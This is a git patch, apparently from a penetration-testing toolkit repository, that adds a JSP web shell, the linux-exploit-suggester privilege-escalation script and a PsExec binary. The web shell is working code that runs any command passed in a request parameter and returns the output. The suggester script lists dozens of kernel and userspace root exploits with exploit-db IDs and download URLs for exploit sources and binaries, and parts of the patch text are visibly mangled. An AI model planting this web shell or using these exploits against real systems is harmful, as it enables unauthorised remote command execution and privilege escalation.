From 6172f68da8c5801ffa277674955223c5e95f6f6b Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Mon, 12 Oct 2020 19:21:41 +0200 Subject: [PATCH] update --- jsp-webshell.jsp | 27 + linux-exploit-suggester.sh | 2556 ++++++++++++++++++++++++++++++++++++ win/PsExec64.exe | Bin 0 -> 374944 bytes 3 files changed, 2583 insertions(+) create mode 100644 jsp-webshell.jsp create mode 100644 linux-exploit-suggester.sh create mode 100644 win/PsExec64.exe diff --git a/jsp-webshell.jsp b/jsp-webshell.jsp new file mode 100644 index 0000000..3df149f --- /dev/null +++ b/jsp-webshell.jsp @@ -0,0 +1,27 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +%> + +Commands with JSP +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+    out.println("Command: " + request.getParameter("cmd") + "
"); + + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } +} +%> +
+ diff --git a/linux-exploit-suggester.sh b/linux-exploit-suggester.sh new file mode 100644 index 0000000..fc5d5b8 --- /dev/null +++ b/linux-exploit-suggester.sh @@ -0,0 +1,2556 @@ +#!/bin/bash + +# +# Copyright (c) 2016-2020, @_mzet_ +# +# linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. +# This is free software, and you are welcome to redistribute it +# under the terms of the GNU General Public License. See LICENSE +# file for usage of this software. +# + +VERSION=v1.1 + +# bash colors +#txtred="\e[0;31m" +txtred="\e[91;1m" +txtgrn="\e[1;32m" +txtgray="\e[0;37m" +txtblu="\e[0;36m" +txtrst="\e[0m" +bldwht='\e[1;37m' +wht='\e[0;36m' +bldblu='\e[1;34m' +yellow='\e[1;93m' +lightyellow='\e[0;93m' + +# input data +UNAME_A="" + +# parsed data for current OS +KERNEL="" +OS="" +DISTRO="" +ARCH="" +PKG_LIST="" + +# kernel config +KCONFIG="" + +CVELIST_FILE="" + +opt_fetch_bins=false +opt_fetch_srcs=false +opt_kernel_version=false +opt_uname_string=false +opt_pkglist_file=false +opt_cvelist_file=false +opt_checksec_mode=false +opt_full=false +opt_summary=false +opt_kernel_only=false +opt_userspace_only=false +opt_show_dos=false +opt_skip_more_checks=false +opt_skip_pkg_versions=false + +ARGS= +SHORTOPTS="hVfbsu:k:dp:g" +LONGOPTS="help,version,full,fetch-binaries,fetch-sources,uname:,kernel:,show-dos,pkglist-file:,short,kernelspace-only,userspace-only,skip-more-checks,skip-pkg-versions,cvelist-file:,checksec" + +## exploits database +declare -a EXPLOITS +declare -a EXPLOITS_USERSPACE + +## temporary array for purpose of sorting exploits (based on exploits' rank) +declare -a exploits_to_sort +declare -a SORTED_EXPLOITS + +############ LINUX KERNELSPACE EXPLOITS #################### +n=0 + +EXPLOITS[((n++))]=$(cat <=2.6.5,ver<=2.6.11 +Tags: +Rank: 1 +exploit-db: 1397 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.2 +Tags: +Rank: 1 +exploit-db: 160 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 +Tags: +Rank: 1 +exploit-db: 2031 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 +Tags: +Rank: 1 +exploit-db: 2004 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 +Tags: +Rank: 1 +exploit-db: 2005 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 +Tags: +Rank: 1 +exploit-db: 2006 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.13,ver<=2.6.17 +Tags: +Rank: 1 +exploit-db: 2011 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.8,ver<=2.6.16 +Tags: +Rank: 1 +bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/h00lyshit +exploit-db: 2013 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.17,ver<=2.6.24 +Tags: +Rank: 1 +exploit-db: 5092 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.23,ver<=2.6.24 +Tags: +Rank: 1 +exploit-db: 5093 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.11,ver<=2.6.22 +Tags: +Rank: 1 +exploit-db: 6851 +Comments: world-writable sgid directory and shell that does not drop sgid privs upon exec (ash/sash) are required +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.25,ver<=2.6.29 +Tags: +Rank: 1 +exploit-db: 8369 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 +Tags: ubuntu=7.10,RHEL=4,fedora=4|5|6|7|8|9|10|11 +Rank: 1 +exploit-db: 9479 +Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 +Tags: ubuntu=9.04 +Rank: 1 +analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/ +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz +exploit-db: 9435 +Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 +Tags: +Rank: 1 +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz +exploit-db: 9436 +Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 +Tags: +Rank: 1 +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz +exploit-db: 9641 +Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.30 +Tags: ubuntu=8.10,RHEL=4|5 +Rank: 1 +exploit-db: 9545 +Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19 +Tags: +Rank: 1 +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz +exploit-db: 9574 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19 +Tags: debian=4 +Rank: 1 +exploit-db: 9575 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.1,ver<=2.6.19,x86 +Tags: fedora=4|5|6,RHEL=4 +Rank: 1 +exploit-db: 9542 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 +Tags: +Rank: 1 +exploit-db: 33321 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 +Tags: +Rank: 1 +exploit-db: 33322 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.31 +Tags: +Rank: 1 +exploit-db: 10018 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.26,ver<=2.6.34 +Tags: debian=6.0{kernel:2.6.(32|33|34|35)-(1|2|trunk)-amd64},ubuntu=(10.04|10.10){kernel:2.6.(32|35)-(19|21|24)-server} +Rank: 1 +bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/kmod2 +bin-url: https://web.archive.org/web/20111103042904/http://tarantula.by.ru/localroot/2.6.x/ptrace-kmod +bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/ptrace_kmod2-64 +exploit-db: 15023 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.34 +Tags: ubuntu=9.10 +Rank: 1 +analysis-url: https://jon.oberheide.org/blog/2010/04/10/reiserfs-reiserfs_priv-vulnerability/ +src-url: https://jon.oberheide.org/files/team-edward.py +exploit-db: 12130 +comments: Requires a ReiserFS filesystem mounted with extended attributes +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=2.6.36 +Tags: ubuntu=10.04{kernel:2.6.32-24-generic} +Rank: 1 +bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/can_bcm +exploit-db: 14814 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.30,ver<2.6.37 +Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},ubuntu=10.10|9.10,fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic} +Rank: 1 +analysis-url: http://www.securityfocus.com/archive/1/514379 +src-url: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c +bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds +bin-url: https://web.archive.org/web/20160602192641/https://www.kernel-exploits.com/media/rds64 +exploit-db: 15285 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 +Tags: ubuntu=(10.04|9.10){kernel:2.6.(31|32)-(14|21)-server} +Rank: 1 +bin-url: http://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/half-nelson3 +exploit-db: 17787 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36,x86 +Tags: ubuntu=10.10 +Rank: 1 +exploit-db: 15916 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.34,ver<=2.6.36 +Tags: ubuntu=10.10 +Rank: 1 +exploit-db: 15944 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 +Tags: +Rank: 1 +exploit-db: 15774 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 +Tags: ubuntu=10.04 +Rank: 1 +exploit-db: 15150 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.33 +Tags: RHEL=5 +Rank: 1 +exploit-db: 15024 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=3.1.0 +Tags: ubuntu=(10.04|11.10){kernel:3.0.0-12-(generic|server)} +Rank: 1 +analysis-url: https://git.zx2c4.com/CVE-2012-0056/about/ +src-url: https://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/memodipper64 +exploit-db: 18411 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.0,ver<=2.6.36 +Tags: ubuntu=(9.10|10.10){kernel:2.6.(31|35)-(14|19)-(server|generic)},ubuntu=10.04{kernel:2.6.32-(21|24)-server} +Rank: 1 +src-url: http://vulnfactory.org/exploits/full-nelson.c +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/full-nelson64 +exploit-db: 15704 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 +Tags: RHEL=6,ubuntu=12.04{kernel:3.2.0-(23|29)-generic},fedora=16{kernel:3.1.0-7.fc16.x86_64},fedora=17{kernel:3.3.4-5.fc17.x86_64},debian=7{kernel:3.2.0-4-amd64} +Rank: 1 +analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/perf_swevent64 +exploit-db: 26131 +author: Andrea 'sorbo' Bittau +Comments: No SMEP/SMAP bypass +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9,x86_64 +Tags: ubuntu=12.04{kernel:3.(2|5).0-(23|29)-generic} +Rank: 1 +analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ +src-url: https://cyseclabs.com/exploits/vnik_v1.c +exploit-db: 33589 +author: Vitaly 'vnik' Nikolenko +Comments: No SMEP/SMAP bypass +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.18,ver<3.7.6 +Tags: +Rank: 1 +exploit-db: 27297 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.8.9 +Tags: +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2013/04/29/1 +exploit-db: 25450 +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.32,ver<3.8.9 +Tags: RHEL=6 +Rank: 1 +analysis-url: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ +exploit-db: 25444 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y +Tags: ubuntu=13.10 +Rank: 1 +analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/timeoutpwn64 +exploit-db: 31346 +Comments: CONFIG_X86_X32 needs to be enabled +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.4.0,ver<=3.13.1,CONFIG_X86_X32=y +Tags: ubuntu=(13.04|13.10){kernel:3.(8|11).0-(12|15|19)-generic} +Rank: 1 +analysis-url: http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html +exploit-db: 31347 +Comments: CONFIG_X86_X32 needs to be enabled +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.31,ver<=3.14.3 +Tags: +Rank: 1 +analysis-url: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html +exploit-db: 33516 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.14 +Tags: +Rank: 0 +analysis-url: https://cyseclabs.com/page?n=02012016 +exploit-db: 32926 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.13 +Tags: ubuntu=12.04 +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2014/06/10/4 +exploit-db: 33824 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.8 +Tags: ubuntu=12.04 +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2014/07/08/16 +exploit-db: 34134 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.2,ver<=3.15.6 +Tags: +Rank: 1 +analysis-url: https://cyseclabs.com/page?n=01102015 +exploit-db: 36267 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<=3.16.1 +Tags: +Rank: 1 +exploit-db: 34923 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.1,ver<3.17.5,x86_64 +Tags: RHEL<=7,fedora=20 +Rank: 1 +analysis-url: http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/ +src-url: http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz +exploit-db: +author: Rafal 'n3rgal' Wojtczuk & Adam 'pi3' Zabrocki +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.13,ver<4.1.6,x86_64 +Tags: +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2015/08/04/8 +exploit-db: 37722 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.13.0,ver<=3.19.0 +Tags: ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic},ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic} +Rank: 1 +analysis-url: http://seclists.org/oss-sec/2015/q2/717 +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_32 +bin-url: https://web.archive.org/web/20160602192631/https://www.kernel-exploits.com/media/ofs_64 +exploit-db: 37292 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 +Tags: +Rank: 1 +analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ +exploit-db: 39230 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.3.3 +Tags: ubuntu=(14.04|15.10){kernel:4.2.0-(18|19|20|21|22)-generic} +Rank: 1 +analysis-url: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ +exploit-db: 39166 +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.10,ver<4.4.1 +Tags: +Rank: 0 +analysis-url: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ +exploit-db: 40003 +Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.0.0,ver<=4.4.8 +Tags: ubuntu=14.04,fedora=22 +Rank: 1 +analysis-url: https://xairy.github.io/blog/2016/cve-2016-2384 +src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c +exploit-db: 41999 +Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user +author: Andrey 'xairy' Konovalov +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules +Tags: ubuntu=16.04{kernel:4.4.0-21-generic} +Rank: 1 +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip +Comments: ip_tables.ko needs to be loaded +exploit-db: 40049 +author: Vitaly 'vnik' Nikolenko +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 +Tags: ubuntu=16.04{kernel:4.4.0-21-generic} +Rank: 1 +analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808 +src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip +Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 +exploit-db: 40759 +author: Jann Horn +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 +Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04 +Rank: 4 +analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails +Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh +exploit-db: 40611 +author: Phil Oester +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.22,ver<=4.8.3 +Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic} +Rank: 4 +analysis-url: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails +ext-url: https://www.exploit-db.com/download/40847 +Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh +exploit-db: 40839 +author: FireFart (author of exploit at EDB 40839); Gabriele Bonacini (author of exploit at 'ext-url') +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4.0,ver<4.9,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2016/12/06/1 +Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled +bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2016-8655/chocobo_root +exploit-db: 40871 +author: rebel +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.11,ver<4.8.14,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: +Rank: 1 +analysis-url: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793 +src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c +Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only +exploit-db: 41995 +author: Andrey 'xairy' Konovalov +EOF +) + +EXPLOITS[((n++))]=$(cat <=2.6.18,ver<=4.9.11,CONFIG_IP_DCCP=[my] +Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic} +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2017/02/22/3 +Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass +exploit-db: 41458 +author: Andrey 'xairy' Konovalov +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.10.6,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic} +Rank: 1 +analysis-url: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html +src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c +ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c +Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels +bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-7308/exploit +exploit-db: 41994 +author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 +Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic} +Rank: 5 +analysis-url: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html +Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 +bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-16995/exploit.out +exploit-db: 45010 +author: Rick Larabee +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: ubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*} +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2017/08/13/1 +src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c +ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c +Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels +bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-1000112/exploit.out +exploit-db: +author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.13,x86_64 +Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1} +Rank: 1 +analysis-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt +src-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c +exploit-db: 42887 +author: Qualys +Comments: +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64 +Tags: ubuntu=16.04{kernel:4.4.0|4.8.0} +Rank: 1 +src-url: https://gist.githubusercontent.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4/raw/959325819c78248a6437102bb289bb8578a135cd/cve-2018-5333-poc.c +ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2018-5333/cve-2018-5333.c +Comments: rds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR. +author: wbowling (orginal exploit author); bcoles (author of exploit update at 'ext-url') +EOF +) + +EXPLOITS[((n++))]=$(cat <=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ] +Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} +Rank: 1 +analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 +src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip +exploit-db: 45886 +author: Jann Horn +Comments: CONFIG_USER_NS needs to be enabled +EOF +) + +EXPLOITS[((n++))]=$(cat <=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64 +Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} +Rank: 1 +analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 +src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip +ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c +Comments: Requires an active PolKit agent. +exploit-db: 47133 +exploit-db: 47163 +author: Jann Horn (orginal exploit author); bcoles (author of exploit update at 'ext-url') +EOF +) + +EXPLOITS[((n++))]=$(cat <=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y +Tags: +Rank: 1 +analysis-url: https://duasynt.com/blog/ubuntu-centos-redhat-privesc +bin-url: https://github.com/duasynt/xfrm_poc/raw/master/lucky0 +Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled +author: Vitaly 'vnik' Nikolenko +EOF +) + +############ USERSPACE EXPLOITS ########################### +n=0 + +EXPLOITS_USERSPACE[((n++))]=$(cat <=1.8.0,ver<=1.8.3 +Tags: fedora=16 +Rank: 1 +analysis-url: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt +exploit-db: 18436 +EOF +) + +EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern +Tags: ubuntu=14.04 +Rank: 1 +analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 +src-url: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c +exploit-db: 36746 +EOF +) + +EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern +Tags: ubuntu=14.04.2 +Rank: 1 +analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 +exploit-db: 36782 +EOF +) + +EXPLOITS_USERSPACE[((n++))]=$(cat <=6.8,ver<=6.9 +Tags: +Rank: 1 +analysis-url: http://www.openwall.com/lists/oss-security/2017/01/26/2 +exploit-db: 41173 +author: Federico Bento +Comments: Needs admin interaction (root user needs to login via ssh to trigger exploitation) +EOF +) + +EXPLOITS_USERSPACE[((n++))]=$(cat <=4.87,ver<=4.91 +Tags: +Rank: 1 +analysis-url: https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt +exploit-db: 46996 +author: raptor +EOF +) + +EXPLOITS_USERSPACE[((n++))]=$(cat <=4.15 +enabled: cmd:grep -Eqi '\spti' /proc/cpuinfo +analysis-url: https://github.com/mzet-/les-res/blob/master/features/pti.md +EOF +) + +FEATURES[((n++))]=$(cat <=3.14 +analysis-url: https://github.com/mzet-/les-res/blob/master/features/stackprotector-strong.md +EOF +) + +FEATURES[((n++))]=$(cat <=2.6.37 +enabled: sysctl:kernel.dmesg_restrict!=0 +analysis-url: https://github.com/mzet-/les-res/blob/master/features/dmesg_restrict.md +EOF +) + +FEATURES[((n++))]=$(cat <=3.0 +enabled: cmd:grep -qi smep /proc/cpuinfo +analysis-url: https://github.com/mzet-/les-res/blob/master/features/smep.md +EOF +) + +FEATURES[((n++))]=$(cat <=3.7 +enabled: cmd:grep -qi smap /proc/cpuinfo +analysis-url: https://github.com/mzet-/les-res/blob/master/features/smap.md +EOF +) + +FEATURES[((n++))]=$(cat < - provide kernel version" + echo " -u | --uname - provide 'uname -a' string" + echo " --skip-more-checks - do not perform additional checks (kernel config, sysctl) to determine if exploit is applicable" + echo " --skip-pkg-versions - skip checking for exact userspace package version (helps to avoid false negatives)" + echo " -p | --pkglist-file - provide file with 'dpkg -l' or 'rpm -qa' command output" + echo " --cvelist-file - provide file with Linux kernel CVEs list" + echo " --checksec - list security related features for your HW/kernel" + echo " -s | --fetch-sources - automatically downloads source for matched exploit" + echo " -b | --fetch-binaries - automatically downloads binary for matched exploit if available" + echo 